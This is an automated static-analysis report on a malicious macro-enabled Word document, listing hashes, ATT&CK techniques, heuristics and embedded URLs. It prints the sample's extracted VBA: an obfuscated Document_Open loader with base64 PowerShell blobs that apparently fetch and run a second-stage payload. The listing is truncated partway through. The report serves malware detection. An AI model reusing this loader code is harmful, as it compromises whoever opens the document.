Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5ed94a2fde7afe50…

MALICIOUS

Office (OOXML)

202.7 KB Created: 2021-05-26 02:45:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-29
MD5: 5ac24810a82cbe3cce4f3e7b440bc658 SHA-1: 9267e14d9efb396924f559b1222a71826fe23a7f SHA-256: 5ed94a2fde7afe507fe3051f0c08a95f06cc46923a021e812a6a41c4041c05a7
204 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File Execution: User Execution: Malicious File T1140 Deobfuscate/Decode Files or Information

The sample contains a Document_Open VBA macro that executes obfuscated code. This code uses CreateObject and string concatenation to construct and execute a command, likely to download and run a second-stage payload. The obfuscated nature and auto-execution indicate a malicious intent to compromise the user's system.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4165 bytes
SHA-256: 8fa31d6fcdfba8092f95cc149a83110b032ae33742ef3e65e973ff4eab77d6ff
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()

eN8aSo.ulaVAuQ1M9K_7v__GnRA

End Sub


Attribute VB_Name = "eN8aSo"
Sub ulaVAuQ1M9K_7v__GnRA()
While "nJfO_" = "u_G_j"
Const b_OR6 = "o6qCw"
Wend
On Error Resume Next
l7lBc = g_A(117) & g_A(159) & g_A(150) & g_A(82) & g_A(97) & g_A(117) & g_A(82) & g_A(162) & g_A(144) & g_A(129) & g_A(169) & g_A(144) & g_A(119) & g_A(132) & g_A(144) & g_A(165) & g_A(144) & g_A(122) & g_A(119) & g_A(144) & g_A(158) & g_A(126) & g_A(82) & g_A(95) & g_A(151) & g_A(82)
While "IM3" = "WFY_"
Const Ghna1 = "rYfj4"
Wend
l7lBc = l7lBc & "WwBzAFkAUwBUAGUATQAuAHQARQBYAFQALgBFAG4AQwBPAGQASQBOAGcAXQA6ADoAdQBuAEkAYwBvAEQARQAuAEcARQB0AFMAVABSAEkATgBnACgAWwBTAFkAcwB0AGUAbQAuAGMAbwBOAFYAZQBSAFQAXQA6ADoARgByAG8AbQBiAGEAUwBlADYANABzAHQAUgBpAG4AZwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAEEAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEAWQB3AEIAaABBAEgAUQBBAFkAdwBCAG8AQQBIAHMAQQBmAFEAQQBnAEEARwBZAEEAZABRAEIAdQBBA"
While "GH4q" = "x___"
Const RS_m6 = "qzKM_"
Wend
l7lBc = l7lBc & "EcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARwA4AEEAYwBBAEIAZgBBAEMAQQBBAEsAQQBBAGcAQQBDAFEAQQBVAFEAQgB3AEEARwBNAEEAUQB3AEEAZwBBAEMAdwBBAEkAQQBBAGsAQQBHAE0AQQBSAEEAQgBYAEEARgA4AEEASQBBAEEAcABBAEEAMABBAEMAZwBCADcAQQBFAGsAQQBUAFEAQgB3AEEARQA4AEEAVQBnAEIAMABBAEMAMABBAGIAUQBCAHYAQQBHAFEAQQBkAFEAQgBzAEEARQBVAEEASQBBAEIAaQBBAEcAawBBAGQAQQBCAFQAQQBIAFEAQQBVAGcAQgBoAEEARwA0AEEAYwB3AEIARwBBAEUAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgB6AEEARgBRAEEAWQBRAEIAUwBBAEgAUQBBAEwAUQBCAEMAQQBHAGsAQQBWAEEAQgB6AEEARgBRAEEAVQBnAEIAQgBBAEcANABBAGMAdwBCAG0AQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAVQB3AEIAdgBBAEYAVQBBAFUAZwBCAGoAQQBHAFUAQQ"
While "MyqAS" = "WxaCh"
Const e__g6 = "d_bYx"
Wend
l7lBc = l7lBc & "BJAEEAQQBrAEEARgBFAEEAYwBBAEIAagBBAEUATQBBAEkAQQBBAHQAQQBHAFEAQQBaAFEAQgB6AEEARgBRAEEAYQBRAEIAdQBBAEUARQBBAGQAQQBCAEoAQQBFADgAQQBUAGcAQQBnAEEAQwBRAEEAWQB3AEIARQBBAEYAYwBBAFgAdwBBADcAQQBDAEEAQQBTAFEAQgB1AEEASABZAEEAYgB3AEIAcgBBAEcAVQBBAEwAUQBCAEoAQQBIAFEAQQBaAFEAQgB0AEEAQwBBAEEASgBBAEIAagBBAEUAUQBBAFYAdwBCAGYAQQBEAHMAQQBmAFEAQQBOAEEAQQBvAEEAZABBAEIAeQBBAEgAawBBAGUAdwBBAGsAQQBHAE0AQQBUAEEAQgBOAEEARABrAEEAUwBBAEEAOQBBAEMAUQBBAFoAUQBCAE8AQQBGAFkAQQBPAGcAQgBVAEEARQBVAEEAYgBRAEIAdwBBAEMAcwBBAEoAdwBCAGMAQQBIAEkAQQBkAHcAQgAxAEEARwBVAEEAYwBnAEIAMABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQA3AEEAQQAwAEEAQwBnAEI"
While "N__l_" = "qtAW"
Const BcXgJ = "YHaxP"
Wend
l7lBc = l7lBc & "AdgBBAEgAQQBBAFgAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBHAFUAQQBZAHcAQgBvAEEARwA0AEEAYgB3AEIAcwBBAEcAOABBAFoAdwBCADUAQQBHAFEAQQBhAFEAQgB6AEEASABRAEEAWQBRAEIAdQBBAEgAUQBBAEwAZwBCAGoAQQBHADgAQQBiAFEAQQB2AEEASABRAEEAWgBRAEIAdABBAEgAQQBBAEwAdwBCAGkAQQBHAGsAQQBiAGcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBHAE0AQQBUAEEAQgBOAEEARABrAEEAUwBBAEEANwBBAEEAMABBAEMAZwBCADkAQQBHAE0AQQBZAFEAQgAwAEEARwBNAEEAYQBBAEIANwBBAEgAMABBACIAKQApAHwAaQBFAFgA"
While "Eg2sx" = "lOtL"
Const GtcL9 = "ojMK8"
Wend

oONd__VzGh_Zdo (l7lBc)
While "p_a" = "pU_fT"
Const MVLbn = "hpGMx"
Wend
End Sub
Function oONd__VzGh_Zdo(OhzTyVpYBbRJygydYJ As String)
zh_v__o__H_ryR3gjM = g_A(137) & g_A(133) & g_A(117) & g_A(164) & g_A(155) & g_A(162) & g_A(166) & g_A(96) & g_A(165) & g_A(154) & g_A(151) & g_A(158) & g_A(158)
While "HQ9nE" = "RAB"
Const hdy4E = "yjB_B"
Wend
Set Yx9_wRrsb_mkbE4rSurg_MI = CreateObject(zh_v__o__H_ryR3gjM)
U__T_p5spa2HLzt = 0
While "MvXG_" = "N9o_"
Const TmHXM = "YHoN_"
Wend
K_cFZ_omHLlgzw_lQtNG = Yx9_wRrsb_mkbE4rSurg_MI.Run(OhzTyVpYBbRJygydYJ, U__T_p5spa2HLzt)
End Function
Function g_A(f___d As Integer)
 ofpdudfv = "ifguofgifouids 
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 6416f6d514d3bfb26e65ab3fdca6f0ab081fd93149c3712ae685d44de631aab3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).

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